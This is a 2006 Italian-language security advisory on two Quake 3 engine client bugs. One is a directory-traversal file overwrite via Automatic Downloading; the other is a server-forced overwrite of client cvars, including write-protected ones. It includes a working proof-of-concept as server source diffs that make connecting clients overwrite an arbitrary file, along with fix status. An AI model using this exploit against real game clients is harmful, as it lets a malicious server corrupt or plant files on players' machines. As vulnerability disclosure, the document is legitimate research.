####################################################################### Luigi Auriemma Applicazione: Quake 3 engine http://www.idsoftware.com http://www.icculus.org/quake3/ Versioni: Quake 3 <= 1.32c Icculus.org Quake 3 <= revision 803 other derived projects Giochi: esistono molti giochi che usano il motore di Quake 3 e molto probabilmente sono tutti vulnerabili ma non mi e' possibile e non ho tempo per testarli tutti. Una lista abbastanza completa di questi giochi e' disponibile qui: http://en.wikipedia.org/wiki/Quake_III_engine#Uses_of_the_engine Piattaforme: Windows, *nix, *BSD, Mac ed altre Bugs: A] files overwriting through Automatic Downloading B] cvars overwriting with possible information stealing Exploitation: remoto, contro client Date: 27 Jun 2006 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduzione 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduzione =============== Il motore di Quake 3 e' il famoso motore di gioco sviluppato da id Software (http://www.idsoftware.com) nel lontano 1999 ma rimane tuttora uno dei motori piu' usati, licenziati e giocati. E' stato rilasciato come open source sotto la licenza GPL alcuni mesi fa' ed ora e' mantenuto principalmente da Icculus (http://www.icculus.org/quake3/) nonostante esistano molti altri progetti. ####################################################################### ======= 2) Bugs ======= ----------------------------------------------- files overwriting through Automatic Downloading ----------------------------------------------- Il motore di Quake 3 supporta un'opzione chiamata "Automatic Downloading" che permette ai clients di scaricare automaticamente i files PK3 (mappe e mods) disponibili sul server ma non localmente. Questa opzione e' disabilitata di default per ragioni di sicurezza ed Icculus Quake 3 e' al momento l'unica versione del motore ad utilizzare un controllo che mette al riparo da possibili attacchi di directory traversal che possono portare alla sovrascrittura dei file di sistema. Ad ogni modo tale controllo puo' essere bypassato attraverso il bug B descritto in questo advisory, quindi un attacker puo' sovrascrivere qualsiasi file contenuto in qualsiasi disco del computer sul quale Quake 3 sta' girando. Quella che segue e' una breve descrizione di come funziona il meccanismo per lo scaricamento automatico dei file PK3 dal server usato dall'opzione "Automatic Downloading": - il server invia la lista di tutti i checksum e nomi dei file PK3 attualmente in uso: sv_referencedPaks e sv_referencedPakNames queste informazioni (cvars) sono contenute nella stringa systemInfo - il client verifica i nomi file ed i checksum del server con i propri - ogni file PK3 non disponibile o differente viene aggiunto al buffer neededpaks usando la funzione Q_strcat (per evitare possibili buffer overflow) con una limitazione di massimo 64 caratteri per file e l'aggiunta dell'estensione .pk3 ad ogni nome file remoto e locale seguendo il formato: @remotename@localname - il client inizia lo scaricamento automatico di ogni file (remotename), salvandolo (localname) con l'estensione temporanea .tmp e rinominandolo poi con il nome disponibile nel campo localname visto pocanzi L'utilizzo di Q_strcat permette ad un server malevolo di evitare l'aggiunta dell'estensione .pk3 (necessaria proprio per ragioni di sicurezza) all'ultimo file del buffer neededpaks se viene raggiunta la lunghezza di 1023 bytes: @remotename.pk3@localname.pk3...@remotename.pk3@localname[.pk3] Quindi l'ultima estensione .pk3 del file locale non viene aggiunta se la lunghezza totale della stringa raggiunge questo limite. Il client tronca i nomi dei files ad un massimo 64 bytes prima di aggiungere l'estensione .pk3 quindi necessitiamo di specificare alcuni file inutili prima del nostro target per raggiungere il limite di 1023 bytes. Il risultato e' che il server puo' sovrascrire tutti i files contenuti nella cartella puntata dalla cvar fs_homepath del client o creare files con qualsiasi estensione. Di default fs_homepath (dove risiedono i file di configurazione, i files di PunkBuster ed altro) e' la cartella ~/.q3a in Linux e la stessa cartella di Quake 3 in Windows MA, come descritto inizialmente, possiamo modificarla attraverso la vulnerabilita' B che segue. ------------------------------------------------------- B] cvars overwriting with possible information stealing ------------------------------------------------------- La stessa stringa inviata dal server contenente le cvars (variabili) sv_referencedPaks e sv_referencedPakNames descritte nel bug precedente contengono anche molte altre cvars che sono automaticamente settate sul client quando il giocatore entra nel server (questa e' una caratteristica del motore, non puo' essere disabilitata e non ha nulla a che vedere con l'Automatic Downloading). Tutto cio' e' spiegato in code/client/cl_parse.c: void CL_SystemInfoChanged( void ) { ... s = systemInfo; while ( s ) { Info_NextPair( &s, key, value ); if ( !key[0] ) { break; } // ehw! if ( !Q_stricmp( key, "fs_game" ) ) { gameSet = qtrue; } Cvar_Set( key, value ); } ... In breve e' possibile sovrascrivere o creare qualsiasi cvar del client, anche quelle protette da scrittura! I modi per sfruttare questo bug sono molteplici: - attivazione della funzione di Automatic Downloading attraverso cl_allowdownload setttata ad 1 - sovrascrittura di qualsiasi file nel sistema attraverso la cvar fs_homepath ed il bug A descritto in questo advisory - molti altri ####################################################################### =========== 3) The Code =========== Il proof-of-concept consiste in una piccola modifica del server. Quelli che seguono sono due file diff per la sovrascrittura del file baseq3/games.log nella cartella c:, da ricordarsi di creare un file chiamato bad.txt nella cartella Quake 3 del server contenente i dati da mettere nel file creato sul client. Da tenere in mente inoltre che questo PoC e' davvero molto semplice e non e' molto ottimizzato in quanto e' solo un modo semplice e veloce per dimostrare gli effetti di entrambi i bugs allo stesso tempo. Entra nella cartella dove sono situati i codici sorgenti di Quake 3 (come /tmp/quake3, le patch sono state create sulla revision 810 di Icculus Quake 3) e digita: patch -p0 < sv_client.diff patch -p0 < sv_init.diff sv_client.diff: --- code/server/sv_client.c +++ code/server/sv_client.c @@ -714,6 +714,11 @@ // Find out if we are done. A zero-length block indicates EOF if (cl->downloadBlockSize[cl->downloadClientBlock % MAX_DOWNLOAD_WINDOW] == 0) { Com_Printf( "clientDownload: %d : file \"%s\" completed\n", cl - svs.clients, cl->downloadName ); + if(memcmp(cl->downloadName, "none_", 5)) { + cl->state = CS_ZOMBIE; + SV_DropClient( cl, "disconnected" ); + Com_Printf( "Malicious file sent to the client, closed connection\n" ); + } SV_CloseDownload( cl ); return; } @@ -765,6 +770,13 @@ return; // Nothing being downloaded if (!cl->download) { + if(!memcmp(cl->downloadName, "none_", 5)) { + cl->downloadSize = 0; + } else { + cl->downloadSize = FS_SV_FOpenFileRead( "bad.txt", &cl->download); + } + unreferenced = 0; + goto letsgo; // Chop off filename extension. Com_sprintf(pakbuf, sizeof(pakbuf), "%s", cl->downloadName); pakptr = Q_strrchr(pakbuf, '.'); @@ -845,6 +857,7 @@ return; } +letsgo: Com_Printf( "clientDownload: %d : beginning \"%s\"\n", cl - svs.clients, cl->downloadName ); // Init sv_init.diff: --- code/server/sv_init.c +++ code/server/sv_init.c @@ -533,9 +533,21 @@ // the server sends these to the clients so they can figure // out which pk3s should be auto-downloaded p = FS_ReferencedPakChecksums(); + int timeint = time(NULL); + sprintf(p, + "%i %i %i %i %i %i %i %i", + timeint + 1, timeint + 2, timeint + 3, timeint + 4, + timeint + 5, timeint + 6, timeint + 7, timeint + 8); Cvar_Set( "sv_referencedPaks", p ); p = FS_ReferencedPakNames(); + sprintf(p, + "none_%059i none_%059i none_%059i none_%059i " + "none_%059i none_%059i none_%059i " + "baseq3/games.log___________________", + timeint + 1, timeint + 2, timeint + 3, timeint + 4, + timeint + 5, timeint + 6, timeint + 7); Cvar_Set( "sv_referencedPakNames", p ); + Cvar_Set( "fs_homepath", "c:" ); // or /tmp/ or .. (NO backslash) // save systeminfo and serverinfo strings Q_strncpyz( systemInfo, Cvar_InfoString_Big( CVAR_SYSTEMINFO ), sizeof( systemInfo ) ); @@ -596,6 +608,8 @@ Cvar_Get ("sv_pakNames", "", CVAR_SYSTEMINFO | CVAR_ROM ); Cvar_Get ("sv_referencedPaks", "", CVAR_SYSTEMINFO | CVAR_ROM ); Cvar_Get ("sv_referencedPakNames", "", CVAR_SYSTEMINFO | CVAR_ROM ); + Cvar_Get ("fs_homepath", "", CVAR_SYSTEMINFO | CVAR_ROM ); + Cvar_Get ("cl_allowDownload", "1", CVAR_SYSTEMINFO | CVAR_ROM ); // server vars sv_rconPassword = Cvar_Get ("rconPassword", "", CVAR_TEMP ); Note: As already said the PoC is very very basic, relaunch the server or change map if you want to re-overwrite the same file on the same client (useless info, I tell you only in case you are not able to re-overwrite the same file during the same server session and don't know why). ####################################################################### ====== 4) Fix ====== Il bug A e' stato corretto in Icculus Quake 3 versione 804 ma e' da tenere a mente che la funzione "Automatic Downloading" non dovrebbe essere MAI abilitata. Al momento non ci sono fix disponibili per il bug B. #######################################################################